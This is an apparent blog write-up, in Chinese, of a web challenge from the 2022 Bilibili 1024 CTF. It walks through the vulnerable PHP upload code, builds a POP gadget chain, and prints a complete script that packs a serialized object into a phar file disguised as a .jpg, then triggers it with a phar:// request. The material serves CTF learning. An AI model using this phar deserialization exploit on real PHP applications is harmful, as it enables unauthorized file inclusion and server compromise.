分析题目

题目地址为http://BILIBILI\_CTF\_IP/(由于比赛结束后,此处IP地址将会失效,所以将题目地址全局替换为BILIBILI\_CTF\_IP,以免对此IP下一任主人造成不必要影响),直接打开发现显示为upup,对其进行扫描,发现以下路径

1
2
3
4
5
6
Found:  /index.html  (HTTP/1.1 200 OK)  !!!
Found: /index.php (HTTP/1.1 200 OK) !!!
Found: /upload.html (HTTP/1.1 200 OK) !!!
Found: /upload.php (HTTP/1.1 200 OK) !!!
Found: /upload.php?action=upfile (HTTP/1.1 200 OK) !!!
Found: /upload/ (HTTP/1.1 403 Forbidden) !!!

打开每个地址查看内容,发现upload.php中有highlight_file(__FILE__);函数,输出了自身代码。分析自身代码,发现引用了文件5d47c5d8a6299792.php,也使用了**highlight_file(__FILE__);函数,输出了自身代码。并在自身代码中发现__wakeup()以及__toString()等反序列攻击使用的常见魔法函数、file_exists($fpath)**存在反序列,判断此题应构建POP链进行反序列化攻击。

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
header("content-type:text/html;charset=utf-8");

date_default_timezone_set('PRC');

if($_SERVER['REQUEST_METHOD']==='POST') {

$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}

$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;

} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
}
?>

5d47c5d8a6299792.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php

// flag in /tmp/flag.php



class Modifier {

public function __invoke(){
include("index.php");
}
}

class Action {
protected $checkAccess;
protected $id;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}

class Content {

public $formatters;

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}

class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {


$this->str->reset();
}

public function __wakeup() {

if(preg_match("/gopherpharhttpfileftpdict\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}

public function reset() {
if ($this->reader !== null) {


$this->reader->close();
}
}
}


highlight_file(__FILE__);

POP链构建

  • 5d47c5d8a6299792.php进行分析,注释中表明flag存在于**/tmp/flag.php且Action类中存在run函数可以include**此文件
  • 发现Show类中存在构造函数,并且输出$this->source变量的内容;我们可以将**$this->source定义为Show类自身,以触发__toString()魔法函数**
  • 触发__toString()魔法函数后,将会调用$this->str->reset(),$this->str为空,直接调用将会报错;我们需要将**$this->str也定义为Show类自身,以调用Show类中的reset函数**
  • 调用reset函数后,将会调用$this->reader->close()$this->reader->close()未定义,直接调用也会报错,再次分析整个文件,发现Content类中存在__call()魔法函数,即调用此类不存在的函数时,将自动调用__call()魔法函数以避免出错
  • 分析Content类中的__call函数,发现有call_user_func_array函数,我们可以使用此函数调用Action类中的run函数。分析发现,此函数会调用Content类中的getFormatter函数。getFormatter会检查formatters字典中是否存在传入变量formatter中的键名,如果存在则返回键值。于是我们可以将formatter赋值为[‘close’=>[‘Action类’, ‘run’]
  • Action类中的变量checkAccess赋值为/tmp/flag.php、变量id赋值为0后,发现存在if语句**$this->id !== 0 && $this->id !== 1,表示id不能等于0或1,但是if语句中的switch则需要id等于0来include变量checkAccess中的文件。我们发现,此处if语句用的为强类型,于是我们可以将变量id设置为public类型以绕过检测**

POP链:file_exists()反序列化 -> Show中的__construct() -> Show中的__toString() -> Content中的__call() -> 触发Action中的run引入flag

按照上述思路,可写出以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Show
{
public $source;
public $str;
public $reader;
}
class Content
{
public $formatters;
}
class Modifier
{
}
class Action
{
protected $checkAccess = '/tmp/flag.php';
public $id;
}

$m = new Modifier();
$s = new Show();
$c = new Content();
$a = new Action();
$s->source = $s;
$s->str = $s;
$a->id = '0';
$c->formatters['close'] = [$a, 'run'];
$s->reader = $c;

@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); // 文件后缀必须为phar否则报错
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($s);

$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('phar.phar', 'phar.jpg');

在PHP7.4及以下,关闭phar readonly的服务器上运行此文件,得到phar.jpg文件

获得FLAG

将获得的phar.jpg上传到http://BILIBILI\_CTF\_IP/upload.php中,并获得上传文件在服务器中的路径

注:由于php只认phar中的,所以phar文件什么后缀可以

然后构建get请求,参数为c=phar://upload/20221031235757445.jpg,请求upload.php,获得flag

后记

第一次这种CTF题目,记得上次参加B站1024获得还是在2020年(2021届的1024活动太忙没时间参加),那时候的题目还没那么难,没想到今年的这么难,全靠大佬的专栏提示才做出4道题来(1、2、3、5题),拿了70分

另:第一次解这种反序列CTF题目以及第一次写CTF答题记录,可能存在部分逻辑问题及表达不清,请各位CTF大佬多多包涵理解,也欢迎各位评论区讨论!

参考链接

2022 sec1024 提示汇总 - 哔哩哔哩 (bilibili.com)

2022年 1024程序员节 安全攻防挑战赛 题目分析记录(不断更新) - 哔哩哔哩 (bilibili.com)

php反序列化之pop链_林一不是01的博客-CSDN博客_pop链


广告
广告正在加载中...
暂不开放评论,如对本文有任何疑问,请联系i#mr-wu.top(#替换为@)